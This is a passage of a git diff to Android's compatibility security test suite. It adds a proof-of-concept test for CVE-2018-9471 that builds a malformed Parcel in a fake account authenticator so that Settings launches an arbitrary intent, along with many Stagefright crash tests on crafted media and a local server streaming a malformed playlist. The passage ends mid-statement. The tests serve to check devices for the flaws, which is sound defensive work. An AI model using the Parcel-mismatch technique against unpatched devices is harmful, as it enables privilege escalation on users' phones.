+            public android.os.IBinder asBinder() {
+                return mRemote;
+            }
+
+            public java.lang.String getInterfaceDescriptor() {
+                return DESCRIPTOR;
+            }
+
+            @Override
+            public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    _data.writeStrongBinder(bnd);
+                    mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0);
+                    _reply.readException();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+            }
+
+            @Override
+            public android.os.IBinder getBinder() throws android.os.RemoteException {
+                android.os.Parcel _data = android.os.Parcel.obtain();
+                android.os.Parcel _reply = android.os.Parcel.obtain();
+                android.os.IBinder _result;
+                try {
+                    _data.writeInterfaceToken(DESCRIPTOR);
+                    mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0);
+                    _reply.readException();
+                    _result = _reply.readStrongBinder();
+                } finally {
+                    _reply.recycle();
+                    _data.recycle();
+                }
+                return _result;
+            }
+        }
+
+        static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+        static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
+    }
+
+    public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException;
+
+    public android.os.IBinder getBinder() throws android.os.RemoteException;
+}
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..a324fd7
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,376 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.pm.ActivityInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import android.platform.test.annotations.AppModeFull;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@AppModeFull
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+    private static final String TAG = "NanoAppBundleTest";
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    private ServiceConnection mServiceConnection =
+        new ServiceConnection() {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder binder) {
+                Log.i(TAG, "Authenticator service " + name + " is connected");
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.i(TAG, "Authenticator service " + name + "died abruptly");
+            }
+        };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+        mContext.startService(serviceIntent);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mContext != null) {
+            Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+            mContext.stopService(serviceIntent);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * b/113527124
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPoc_cve_2018_9471() throws Exception {
+
+        try {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            new NanoAppBundleTest.Trigger(mContext).anyAction();
+            //  against vulnerable bits, the failure will get caught right after trigger.
+            //  against patched bits, 1 minute wait to snap the test
+            Thread.sleep(60_000);
+        } catch(InterruptedException ignored) {
+            Log.i(TAG, "swallow interrupted exception");
+        }
+    }
+
+    public static class Trigger {
+        private static final String TAG = "Trigger";
+        private Context mContext;
+
+        public Trigger(Context context) {
+            mContext = context;
+        }
+
+        private void trigger() {
+            Log.i(TAG, "start...");
+
+            String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+            String cls = isCar(mContext)
+                    ? "com.android.car.settings.accounts.AddAccountActivity"
+                    : "com.android.settings.accounts.AddAccountSettings";
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(pkg, cls));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+            intent.putExtra("account_types", authTypes);
+
+            ActivityInfo info = intent.resolveActivityInfo(
+                    mContext.getPackageManager(), intent.getFlags());
+            // Will throw NullPointerException if activity not found.
+            if (info != null && info.exported) {
+                mContext.startActivity(intent);
+            } else {
+                Log.i(TAG, "Activity is not exported");
+            }
+            Log.i(TAG, "finsihed.");
+        }
+
+        public void anyAction() {
+            Log.i(TAG, "Arbitrary action starts...");
+
+            Intent intent = new Intent();
+
+            intent.setComponent(new ComponentName(
+                "android.security.cts",
+                "android.security.cts.NanoAppBundleTest$FailActivity"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            Authenticator.setIntent(intent);
+
+            trigger();
+
+            Log.i(TAG, "Arbitrary action finished.");
+        }
+    }
+
+    //  customized activity
+    public static class FailActivity extends Activity {
+
+        @Override
+        protected void onCreate(Bundle onSavedInstanceState) {
+            super.onCreate(onSavedInstanceState);
+
+            fail("Arbitrary intent executed");
+        }
+    }
+
+    //
+    //  Authenticator class
+    //
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private static final String TAG = "Authenticator";
+
+        //  mAddAccountDone : flag set to check if the buggy part is got run
+        private boolean mAddAccountDone;
+        public boolean isAddAccountDone() {
+            return mAddAccountDone;
+        }
+        public void setAddAccountDone(boolean isDone) {
+            mAddAccountDone = isDone;
+        }
+
+        //  mAuthContext
+        private static Context mAuthContext;
+        public static Context getAuthContext() {
+            return mAuthContext;
+        }
+
+        //  mIntent : set from Trigger or setPIN
+        private static Intent mIntent;
+        public static Intent getIntent() {
+            return mIntent;
+        }
+        public static void setIntent(Intent intent) {
+            mIntent = intent;
+        }
+
+        //  Authenticator ctor
+        public Authenticator(Context context) {
+            super(context);
+            setAddAccountDone(false);
+            Authenticator.mAuthContext = context;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                     String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                   Account account,
+                                   String authTokenType,
+                                   Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                                 String accountType,
+                                 String authTokenType,
+                                 String[] requiredFeatures,
+                                 Bundle options) {
+            try {
+                Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+                                    accountType, authTokenType));
+                Bundle bundle = new Bundle();
+                Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+                bundle.readFromParcel(parcel);
+                parcel.recycle();
+                setAddAccountDone(true);
+                Log.i(TAG, "addAccount finished");
+                return bundle;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                         Account account,
+                                         Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                        Account account,
+                                        String authTokenType,
+                                        Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                  Account account,
+                                  String[] features) {
+            return null;
+        }
+    }
+
+    //
+    //  AuthenticatorService
+    //
+    public static class AuthenticatorService extends Service {
+
+        private static final String TAG = "AuthenticatorService";
+
+        private Authenticator mAuthenticator;
+        public Authenticator getAuthenticator() {
+            return mAuthenticator;
+        }
+
+        private IBinder mBinder;
+        public IBinder getServiceBinder() {
+            return mBinder;
+        }
+
+        public AuthenticatorService() {
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+            //  critical:here have to pass the service context to authenticator, not mContext
+            Log.i(TAG, "creating...");
+            mAuthenticator = new Authenticator(this);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            try {
+                Log.i(TAG, "Bind starting...");
+                IBinder binder = mAuthenticator.getIBinder();
+                mBinder = binder;
+                Log.i(TAG, "Bind finished.");
+                return binder;
+            } catch (Exception e) {
+                Log.i(TAG, "Bind exception");
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    //
+    //  GenMalformedParcel
+    //
+    public static class GenMalformedParcel {
+
+        public static Parcel nanoAppFilterParcel(Intent intent) {
+            Parcel data = Parcel.obtain();
+            int bundleLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            data.writeInt(0x4C444E42);
+            int bundleStartPos = data.dataPosition();
+            data.writeInt(3);
+
+            data.writeString(SECURITY_CTS_PACKAGE_NAME);
+            data.writeInt(4);
+            data.writeString("android.hardware.location.NanoAppFilter");
+            data.writeLong(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(13);
+
+            int byteArrayLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            int byteArrayStartPos = data.dataPosition();
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeString(AccountManager.KEY_INTENT);
+            data.writeInt(4);
+            data.writeString("android.content.Intent");
+            intent.writeToParcel(data, 0);
+            int byteArrayEndPos = data.dataPosition();
+            data.setDataPosition(byteArrayLenPos);
+            int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+            data.writeInt(byteArrayLen);
+            data.setDataPosition(byteArrayEndPos);
+
+            int bundleEndPos = data.dataPosition();
+            data.setDataPosition(bundleLenPos);
+            int bundleLen = bundleEndPos - bundleStartPos;
+            data.writeInt(bundleLen);
+            data.setDataPosition(0);
+
+            return data;
+        }
+    }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
index bfe1f55..bccbe59 100644
--- a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
+++ b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
@@ -79,6 +79,8 @@
             return;
         }
 
+        final ArrayList<String> failures = new ArrayList<>();
+
         for (String service : services) {
             mTempFile.delete();
 
@@ -105,14 +107,18 @@
             } catch (SecurityException e) {
                 String msg = e.getMessage();
                 if ((msg == null) || msg.contains("android.permission.DUMP")) {
+                    Log.d(TAG, "Service " + service + " correctly checked permission");
                     // Service correctly checked for DUMP permission, yay
                 } else {
                     // Service is throwing about something else; they're
                     // probably not checking for DUMP.
-                    throw e;
+                    failures.add("Service " + service + " threw exception: " + e);
+                    continue;
                 }
             } catch (TransactionTooLargeException | DeadObjectException e) {
-                // SELinux likely prevented the dump - assume safe
+                // SELinux likely prevented the dump - assume safe, but log anywasy
+                // (as the exception might happens in some devices but not on others)
+                Log.w(TAG, "Service " + service + " threw exception: " + e);
                 continue;
             } finally {
                 out.close();
@@ -133,19 +139,29 @@
             }
 
             if (lines.size() > 1) {
-                fail("dump() for " + service + " produced several lines of output; this "
+                failures.add("dump() for " + service + " produced several lines of output; this "
                         + "may be leaking sensitive data.  At most, services should emit a "
                         + "single line when the caller doesn't have DUMP permission.");
+                continue;
             }
 
             if (lines.size() == 1) {
                 String message = lines.get(0);
                 if (!message.contains("Permission Denial") &&
                         !message.contains("android.permission.DUMP")) {
-                    fail("dump() for " + service + " produced a single line which didn't "
+                    failures.add("dump() for " + service + " produced a single line which didn't "
                             + "reference a permission; it may be leaking sensitive data.");
+                    continue;
                 }
             }
         }
+
+        if (!failures.isEmpty()) {
+            StringBuilder msg = new StringBuilder(failures.size() + " services failed:\n");
+            for (String failure: failures) {
+                msg.append(failure).append('\n');
+            }
+            fail(msg.toString());
+        }
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 23253df..16f01eb 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -29,6 +29,11 @@
 @SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testAndroid_cve_2017_13318() {
+        doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
+    }
+
     @SecurityTest
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index b806e1b..ecc983c 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -69,6 +69,7 @@
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Pattern;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -76,6 +77,8 @@
 
 import android.security.cts.R;
 
+import android.security.NetworkSecurityPolicy;
+import android.media.TimedText;
 
 /**
  * Verify that the device is not vulnerable to any known Stagefright
@@ -108,17 +111,17 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3829);
+        doStagefrightTest(R.raw.cve_2016_3829, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0643);
+        doStagefrightTest(R.raw.cve_2017_0643, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0728);
+        doStagefrightTest(R.raw.cve_2017_0728, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-10")
@@ -158,7 +161,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
-        doStagefrightTest(R.raw.bug_35763994);
+        doStagefrightTest(R.raw.bug_35763994, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -168,7 +171,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2507);
+        doStagefrightTest(R.raw.cve_2016_2507, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -256,20 +259,16 @@
         doStagefrightTest(R.raw.cve_2016_6766);
     }
 
-    @SecurityTest(minPatchLevel = "2016-04")
-    public void testStagefright_bug_26366256() throws Exception {
-        doStagefrightTest(R.raw.bug_26366256);
-    }
-
     @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
-        doStagefrightTest(R.raw.bug_34031018_32bit);
-        doStagefrightTest(R.raw.bug_34031018_64bit);
+        doStagefrightTest(R.raw.bug_34031018_32bit, new CrashUtils.Config().checkMinAddress(false));
+        doStagefrightTest(R.raw.bug_34031018_64bit, new CrashUtils.Config().checkMinAddress(false));
     }
 
     /***********************************************************
@@ -294,7 +293,8 @@
 
     @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
+        doStagefrightTest(R.raw.cve_2017_0852_b_62815506,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -320,12 +320,7 @@
 
     @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3920);
-    }
-
-    @SecurityTest(minPatchLevel = "2018-06")
-    public void testStagefright_bug_68953854() throws Exception {
-        doStagefrightTest(R.raw.bug_68953854, 1 * 60 * 1000);
+        doStagefrightTest(R.raw.cve_2016_3920, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-09")
@@ -335,7 +330,7 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3821);
+        doStagefrightTest(R.raw.cve_2016_3821, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
@@ -355,12 +350,12 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
-        doStagefrightTest(R.raw.bug_38115076);
+        doStagefrightTest(R.raw.bug_38115076, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
-        doStagefrightTest(R.raw.bug_34618607);
+        doStagefrightTest(R.raw.bug_34618607, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -385,13 +380,14 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0600);
+        doStagefrightTest(R.raw.cve_2017_0600, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -421,7 +417,8 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
-        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -457,13 +454,16 @@
     @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes,
+                    new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -492,7 +492,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0599);
+        doStagefrightTest(R.raw.cve_2017_0599, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-09")
@@ -522,7 +522,7 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6712);
+        doStagefrightTest(R.raw.cve_2016_6712, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-04")
@@ -548,12 +548,20 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
-        doStagefrightTest(R.raw.bug_33818508);
+        doStagefrightTest(R.raw.bug_33818508, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+        doStagefrightTest(R.raw.bug_32873375, new CrashUtils.Config().checkMinAddress(false));
+    }
+
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_bug_63522067() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
+        doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
     }
 
     @SecurityTest(minPatchLevel = "2016-03")
@@ -608,7 +616,7 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2428);
+        doStagefrightTest(R.raw.cve_2016_2428, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
@@ -646,7 +654,8 @@
                 @Override
                 public void run() {
                     try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath(),
+                                new CrashUtils.Config().checkMinAddress(false));
                     } catch (Exception | AssertionError e) {
                         if (!tempFile.delete()) {
                             Log.e(TAG, "Failed to delete temporary PoC file");
@@ -671,7 +680,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
-        doStagefrightTest(R.raw.bug_32322258);
+        doStagefrightTest(R.raw.bug_32322258, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -701,7 +710,8 @@
 
     @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
+        doStagefrightTest(R.raw.cve_2015_3862_b_22954006,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -766,12 +776,13 @@
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3755);
+        doStagefrightTest(R.raw.cve_2016_3755, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
+        doStagefrightTest(R.raw.cve_2016_3878_b_29493002,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -791,18 +802,41 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
-        doStagefrightTest(R.raw.bug_27855419);
+        doStagefrightTest(R.raw.bug_27855419, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
-        doStagefrightTest(R.raw.bug_19779574);
+        doStagefrightTest(R.raw.bug_19779574, new CrashUtils.Config().checkMinAddress(false));
     }
 
     /***********************************************************
      to prevent merge conflicts, add N tests below this comment,
      before any existing test methods
      ***********************************************************/
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testBug_33090864() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36279112() throws Exception {
+        doStagefrightTest(R.raw.bug_36279112, new CrashUtils.Config().checkMinAddress(false));
+    }
+
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0640() throws Exception {
+        int[] frameSizes = {21, 4};
+        doStagefrightTestRawBlob(R.raw.cve_2017_0640_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testBug_37203196() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_37203196_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_37203196_mpeg2, "video/mpeg2", 48, 48, frameSizes);
+    }
 
     @SecurityTest(minPatchLevel = "2018-06")
     public void testBug_73552574() throws Exception {
@@ -810,6 +844,23 @@
         doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
     }
 
+    @SecurityTest(minPatchLevel = "2015-09")
+    public void testStagefright_bug_23285192() throws Exception {
+        doStagefrightTest(R.raw.bug_23285192);
+    }
+
+    @SecurityTest(minPatchLevel = "2016-03")
+    public void testStagefright_bug_25928803() throws Exception {
+        doStagefrightTest(R.raw.bug_25928803);
+    }
+
+    @SecurityTest(minPatchLevel = "2016-04")
+    public void testBug_26399350() throws Exception {
+        int[] frameSizes = {657, 54930};
+        doStagefrightTestRawBlob(R.raw.bug_26399350_avc, "video/avc", 640, 480,
+                frameSizes);
+    }
+
     @SecurityTest(minPatchLevel = "2018-12")
     public void testBug_113260892() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_113260892_hevc, "video/hevc", 320, 240);
@@ -820,8 +871,11 @@
         Thread server = new Thread() {
             @Override
             public void run() {
-                try (ServerSocket serverSocket = new ServerSocket(8080);
-                        Socket conn = serverSocket.accept()) {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept();
+                ) {
                     OutputStream outputstream = conn.getOutputStream();
                     InputStream inputStream = conn.getInputStream();
                     byte input[] = new byte[65536];
@@ -848,7 +902,8 @@
         };
         server.start();
         String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl =
+                new MediaPlayerCrashListener(new CrashUtils.Config().checkMinAddress(false));
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -902,16 +957,6 @@
     doStagefrightTest(R.raw.bug_37430213);
     }
 
-    @SecurityTest(minPatchLevel = "2018-11")
-    public void testStagefright_bug_68664359() throws Exception {
-        doStagefrightTest(R.raw.bug_68664359, 60000);
-    }
-
-    @SecurityTest(minPatchLevel = "2018-11")
-    public void testStagefright_bug_110435401() throws Exception {
-        doStagefrightTest(R.raw.bug_110435401, 60000);
-    }
-
     @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_cve_2017_0474() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0474, 120000);
@@ -923,13 +968,97 @@
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_13279() throws Exception {
+      Thread server = new Thread() {
+        @Override
+        public void run(){
+          try (ServerSocket serverSocket = new ServerSocket(8080) {
+                  {setSoTimeout(10_000);} // time out after 10 seconds
+              };
+              Socket conn = serverSocket.accept()
+          ) {
+              OutputStream stream = conn.getOutputStream();
+              byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n"
+                           + "#EXTM3U\n#EXT-X-STREAM-INF:\n").getBytes();
+              stream.write(http);
+              while(!conn.isClosed())
+                stream.write(("a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
